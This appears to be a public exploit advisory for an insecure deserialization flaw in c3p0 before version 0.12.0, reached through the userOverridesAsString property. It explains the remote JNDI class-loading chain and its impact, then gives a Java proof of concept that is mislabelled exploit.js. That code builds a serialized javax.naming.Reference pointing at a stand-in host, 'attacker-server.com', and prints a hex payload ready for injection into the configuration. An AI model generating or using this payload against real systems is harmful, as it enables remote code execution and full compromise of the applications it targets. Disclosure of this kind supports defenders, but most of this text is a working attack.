📄 c3p0 Insecure Deserialization

=============================================================================================================================================
    | # Title     : c3p0 prior to version 0.12.0 via userOverridesAsString Insecure Deserialization and Remote JNDI Class Loading               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.mchange.com/projects/c3p0/                                                                                      |
    =============================================================================================================================================
    
    [+] Summary    :  A critical vulnerability in c3p0 prior to version 0.12.0 allows attackers to achieve remote code execution (RCE) through insecure handling of the userOverridesAsString property in several ConnectionPoolDataSource implementations.
    
    Before version 0.12.0, this property was internally stored as a hex-encoded Java-serialized object. If an attacker is able to modify or inject a malicious value into this property — either directly, via crafted serialized objects, or through malicious javax.naming.Reference instances — the application may deserialize untrusted data.
    
    The risk is significantly amplified by legacy behavior in mchange-commons-java, a core dependency of c3p0. Older versions allowed ungated support for remote factoryClassLocation values, enabling remote class loading through embedded JNDI references.
    
    [+] During deserialization:
    
    The hex-encoded string is decoded into a byte array
    
    The object is deserialized
    
    Embedded javax.naming.Reference objects may be dereferenced
    
    Remote classes may be downloaded from attacker-controlled locations
    
    Arbitrary code may execute within the application's CLASSPATH
    
    This creates a full Remote Code Execution condition if the attacker can influence configuration properties or serialized inputs.
    
    [+] Impact
    
    Remote Code Execution (RCE)
    
    Arbitrary class loading from remote servers
    
    Full compromise of application runtime
    
    Potential lateral movement within enterprise environments
    				  
    [+] POC   :  exploit.js 
    
    import java.io.*;
    import javax.naming.Reference;
    import java.util.Map;
    import java.util.HashMap;
    
    public class C3P0ExploitPayload {
    
        public static void main(String[] args) {
            try {
                // 1. Setup malicious server details
                String attackerUrl = "http://attacker-server.com/";
                String className = "ExploitObject";
                Reference ref = new Reference(className, className, attackerUrl);
                byte[] serializedObject = serialize(ref);
    
                String hexPayload = bytesToHex(serializedObject);
                System.out.println("--- Payload Ready for Injection ---");
                System.out.println("Property: c3p0.userOverridesAsString");
                System.out.println("Value: " + hexPayload);
                System.out.println("\n--- Note ---");
                System.out.println("When this value is placed in c3p0 settings, the application will decode the Hex");
                System.out.println("and deserialize the object, triggering a JNDI Remote Class Loading attack.");
    
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        private static byte[] serialize(Object obj) throws IOException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
            return baos.toByteArray();
        }
        private static String bytesToHex(byte[] bytes) {
            StringBuilder sb = new StringBuilder();
            for (byte b : bytes) {
                sb.append(String.format("%02x", b));
            }
            return sb.toString().toUpperCase();
        }
    }
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================